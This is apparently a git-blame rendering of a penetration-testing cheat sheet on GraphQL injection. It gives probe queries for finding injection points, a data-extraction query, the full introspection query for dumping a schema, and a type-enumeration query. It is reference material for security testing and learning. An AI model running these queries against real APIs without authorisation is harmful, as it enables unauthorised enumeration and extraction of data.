2019-03-06 12:18:54 +00:00
|
|
|
# GraphQL injection
|
|
|
|
|
2019-04-21 17:50:50 +00:00
|
|
|
> GraphQL is a query language for APIs and a runtime for fulfilling those queries with existing data.
|
2019-03-06 12:18:54 +00:00
|
|
|
|
|
|
|
## Exploit
|
|
|
|
|
2019-06-09 11:46:40 +00:00
|
|
|
### Identify an injection point
|
2019-03-06 12:18:54 +00:00
|
|
|
|
2019-06-09 11:46:40 +00:00
|
|
|
```js
|
|
|
|
example.com/graphql?query={__schema{types{name}}}
|
2019-03-06 12:18:54 +00:00
|
|
|
```
|
|
|
|
Check if errors are visible
|
|
|
|
|
2019-04-21 17:50:50 +00:00
|
|
|
```javascript
|
2019-03-06 12:18:54 +00:00
|
|
|
?param={__schema}
|
|
|
|
?param={}
|
|
|
|
?param={thisdefinitelydoesnotexist}
|
|
|
|
```
|
|
|
|
|
2019-06-09 11:46:40 +00:00
|
|
|
### Extract data
|
|
|
|
|
|
|
|
```js
|
|
|
|
example.com/graphql?query={TYPE_1{FIELD_1,FIELD_2}}
|
|
|
|
```
|
|
|
|
|
|
|
|
![HTB Help - GraphQL injection](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/GraphQL%20Injection/Images/htb-help.png?raw=true)
|
|
|
|
|
|
|
|
### Enumerate Database Schema with the following GraphQL query
|
2019-03-06 12:18:54 +00:00
|
|
|
|
2019-04-21 17:50:50 +00:00
|
|
|
```javascript
|
2019-03-06 12:18:54 +00:00
|
|
|
fragment FullType on __Type {
|
|
|
|
kind
|
|
|
|
name
|
|
|
|
description
|
|
|
|
fields(includeDeprecated: true) {
|
|
|
|
name
|
|
|
|
description
|
|
|
|
args {
|
|
|
|
...InputValue
|
|
|
|
}
|
|
|
|
type {
|
|
|
|
...TypeRef
|
|
|
|
}
|
|
|
|
isDeprecated
|
|
|
|
deprecationReason
|
|
|
|
}
|
|
|
|
inputFields {
|
|
|
|
...InputValue
|
|
|
|
}
|
|
|
|
interfaces {
|
|
|
|
...TypeRef
|
|
|
|
}
|
|
|
|
enumValues(includeDeprecated: true) {
|
|
|
|
name
|
|
|
|
description
|
|
|
|
isDeprecated
|
|
|
|
deprecationReason
|
|
|
|
}
|
|
|
|
possibleTypes {
|
|
|
|
...TypeRef
|
|
|
|
}
|
|
|
|
}
|
|
|
|
fragment InputValue on __InputValue {
|
|
|
|
name
|
|
|
|
description
|
|
|
|
type {
|
|
|
|
...TypeRef
|
|
|
|
}
|
|
|
|
defaultValue
|
|
|
|
}
|
|
|
|
fragment TypeRef on __Type {
|
|
|
|
kind
|
|
|
|
name
|
|
|
|
ofType {
|
|
|
|
kind
|
|
|
|
name
|
|
|
|
ofType {
|
|
|
|
kind
|
|
|
|
name
|
|
|
|
ofType {
|
|
|
|
kind
|
|
|
|
name
|
|
|
|
ofType {
|
|
|
|
kind
|
|
|
|
name
|
|
|
|
ofType {
|
|
|
|
kind
|
|
|
|
name
|
|
|
|
ofType {
|
|
|
|
kind
|
|
|
|
name
|
|
|
|
ofType {
|
|
|
|
kind
|
|
|
|
name
|
|
|
|
}
|
|
|
|
}
|
|
|
|
}
|
|
|
|
}
|
|
|
|
}
|
|
|
|
}
|
|
|
|
}
|
|
|
|
}
|
|
|
|
|
|
|
|
query IntrospectionQuery {
|
|
|
|
__schema {
|
|
|
|
queryType {
|
|
|
|
name
|
|
|
|
}
|
|
|
|
mutationType {
|
|
|
|
name
|
|
|
|
}
|
|
|
|
types {
|
|
|
|
...FullType
|
|
|
|
}
|
|
|
|
directives {
|
|
|
|
name
|
|
|
|
description
|
|
|
|
locations
|
|
|
|
args {
|
|
|
|
...InputValue
|
|
|
|
}
|
|
|
|
}
|
|
|
|
}
|
|
|
|
}
|
|
|
|
```
|
|
|
|
|
2019-06-09 11:46:40 +00:00
|
|
|
### Enumerate the definition of interesting types using the following GraphQL query, replacing "User" with the chosen type
|
2019-03-06 12:18:54 +00:00
|
|
|
|
2019-04-21 17:50:50 +00:00
|
|
|
```javascript
|
2019-03-06 12:18:54 +00:00
|
|
|
{__type (name: "User") {name fields{name type{name kind ofType{name kind}}}}}
|
|
|
|
```
|
|
|
|
|
|
|
|
## References
|
|
|
|
|
|
|
|
* [Introduction to GraphQL](https://graphql.org/learn/)
|
|
|
|
* [GraphQL Introspection](https://graphql.org/learn/introspection/)
|
2019-06-09 11:46:40 +00:00
|
|
|
* [API Hacking GraphQL - @ghostlulz - jun 8, 2019](https://medium.com/@ghostlulzhacks/api-hacking-graphql-7b2866ba1cf2)
|